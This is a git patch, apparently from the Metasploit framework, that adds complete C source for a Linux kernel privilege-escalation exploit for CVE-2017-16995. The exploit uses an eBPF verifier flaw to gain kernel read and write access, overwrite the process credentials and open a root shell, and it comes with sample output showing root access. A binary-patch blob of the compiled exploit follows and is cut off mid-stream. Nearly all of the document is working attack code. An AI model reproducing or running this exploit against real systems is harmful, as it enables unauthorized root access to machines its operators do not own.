From 9bdec97b2ee4e45bbf9e1ea0150417f936b20d0d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 23:01:17 +0000 Subject: [PATCH] Fix bpf_sign_extension_priv_esc --- data/exploits/cve-2017-16995/exploit.c | 496 ++++++++++++++++++ data/exploits/cve-2017-16995/exploit.out | Bin 14040 -> 34784 bytes .../local/bpf_sign_extension_priv_esc.md | 91 ++-- .../local/bpf_sign_extension_priv_esc.rb | 476 +++++------------ 4 files changed, 668 insertions(+), 395 deletions(-) create mode 100644 data/exploits/cve-2017-16995/exploit.c diff --git a/data/exploits/cve-2017-16995/exploit.c b/data/exploits/cve-2017-16995/exploit.c new file mode 100644 index 0000000000..0e131151b3 --- /dev/null +++ b/data/exploits/cve-2017-16995/exploit.c @@ -0,0 +1,496 @@ +/* + Credit @bleidl, this is a slight modification to his original POC + https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c + + For details on how the exploit works, please visit + https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html + + Tested on Ubuntu 16.04 with the following Kernels + 4.4.0-31-generic + 4.4.0-62-generic + 4.4.0-81-generic + 4.4.0-116-generic + 4.8.0-58-generic + 4.10.0.42-generic + 4.13.0-21-generic + + Tested on Fedora 27 + 4.13.9-300 + gcc cve-2017-16995.c -o cve-2017-16995 + internet@client:~/cve-2017-16995$ ./cve-2017-16995 + [.] + [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) + [.] + [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** + [.] + [*] creating bpf map + [*] sneaking evil bpf past the verifier + [*] creating socketpair() + [*] attaching bpf backdoor to socket + [*] skbuff => ffff880038c3f500 + [*] Leaking sock struct from ffff88003af5e180 + [*] Sock->sk_rcvtimeo at offset 472 + [*] Cred structure at ffff880038704600 + [*] UID from cred structure: 1000, matches the current: 1000 + [*] hammering cred structure at ffff880038704600 + [*] credentials patched, launching shell... + #id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char buffer[64]; +int sockets[2]; +int mapfd, progfd; +int doredact = 0; + +#define LOG_BUF_SIZE 65536 +#define PHYS_OFFSET 0xffff880000000000 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries, int map_flags) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +int bpf_lookup_elem(int fd, void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_DISABLE_VERIFIER() \ + BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ + BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ + BPF_EXIT_INSN() /* } */ \ + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ + BPF_EXIT_INSN(), /* exit(0); */ \ + BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ + +static int load_prog() { + struct bpf_insn prog[] = { + BPF_DISABLE_VERIFIER(), + + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ + + BPF_LD_MAP_FD(BPF_REG_9, mapfd), + + BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ + BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ + BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ + + /* store map slot address in r2 */ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ + BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ + /* get fp */ + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ + /* get skbuff */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ + /* read */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + /* else */ + /* write */ + BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), + BPF_EXIT_INSN(), + + }; + return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); +} + +void info(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[.] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void msg(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void redact(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if(doredact) { + fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); + return; + } + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[!] "); + vfprintf(stdout, fmt, args); + va_end(args); + exit(1); +} + +void +initialize() { + info("\n"); + info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); + info("\n"); + info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); + info("\n"); + + redact("creating bpf map\n"); + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); + if (mapfd < 0) { + fail("failed to create bpf map: '%s'\n", strerror(errno)); + } + + redact("sneaking evil bpf past the verifier\n"); + progfd = load_prog(); + if (progfd < 0) { + if (errno == EACCES) { + msg("log:\n%s", bpf_log_buf); + } + fail("failed to load prog '%s'\n", strerror(errno)); + } + + redact("creating socketpair()\n"); + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { + fail("failed to create socket pair '%s'\n", strerror(errno)); + } + + redact("attaching bpf backdoor to socket\n"); + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { + fail("setsockopt '%s'\n", strerror(errno)); + } +} + +static void writemsg() { + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) { + fprintf(stderr, "short write: %zd\n", n); + } +} + +static void +update_elem(int key, unsigned long value) { + if (bpf_update_elem(mapfd, &key, &value, 0)) { + fail("bpf_update_elem failed '%s'\n", strerror(errno)); + } +} + +static unsigned long +get_value(int key) { + unsigned long value; + if (bpf_lookup_elem(mapfd, &key, &value)) { + fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); + } + return value; +} + +static unsigned long +sendcmd(unsigned long op, unsigned long addr, unsigned long value) { + update_elem(0, op); + update_elem(1, addr); + update_elem(2, value); + writemsg(); + return get_value(2); +} + +unsigned long +get_skbuff() { + return sendcmd(1, 0, 0); +} + +unsigned long +get_fp() { + return sendcmd(0, 0, 0); +} + +unsigned long +read64(unsigned long addr) { + return sendcmd(2, addr, 0); +} + +void +write64(unsigned long addr, unsigned long val) { + (void)sendcmd(3, addr, val); +} + +static unsigned long find_cred() { + uid_t uid = getuid(); + unsigned long skbuff = get_skbuff(); + /* + * struct sk_buff { + * [...24 byte offset...] + * struct sock *sk; + * }; + * + */ + + unsigned long sock_addr = read64(skbuff + 24); + msg("skbuff => %llx\n", skbuff); + msg("Leaking sock struct from %llx\n", sock_addr); + if(sock_addr < PHYS_OFFSET){ + fail("Failed to find Sock address from sk_buff.\n"); + } + + /* + * scan forward for expected sk_rcvtimeo value. + * + * struct sock { + * [...] + * const struct cred *sk_peer_cred; + * long sk_rcvtimeo; + * }; + */ + for (int i = 0; i < 100; i++, sock_addr += 8) { + if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { + unsigned long cred_struct = read64(sock_addr - 8); + if(cred_struct < PHYS_OFFSET) { + continue; + } + + unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + + if(test_uid != uid) { + continue; + } + msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); + msg("Cred structure at %llx\n", cred_struct); + msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); + + return cred_struct; + } + } + fail("failed to find sk_rcvtimeo.\n"); +} + +static void +hammer_cred(unsigned long addr) { + msg("hammering cred structure at %llx\n", addr); +#define w64(w) { write64(addr, (w)); addr += 8; } + unsigned long val = read64(addr) & 0xFFFFFFFFUL; + w64(val); + w64(0); w64(0); w64(0); w64(0); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); +#undef w64 +} + +int +main(int argc, char **argv) { + initialize(); + hammer_cred(find_cred()); + msg("credentials patched, launching shell...\n"); + if(execl("/bin/sh", "/bin/sh", NULL)) { + fail("exec %s\n", strerror(errno)); + } +} + diff --git a/data/exploits/cve-2017-16995/exploit.out b/data/exploits/cve-2017-16995/exploit.out index f418861d4501954d34644d50350e5f12b7593a60..3a7bd332f65b34580ea3a7274047f847eb7b3525 100644 GIT binary patch literal 34784 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 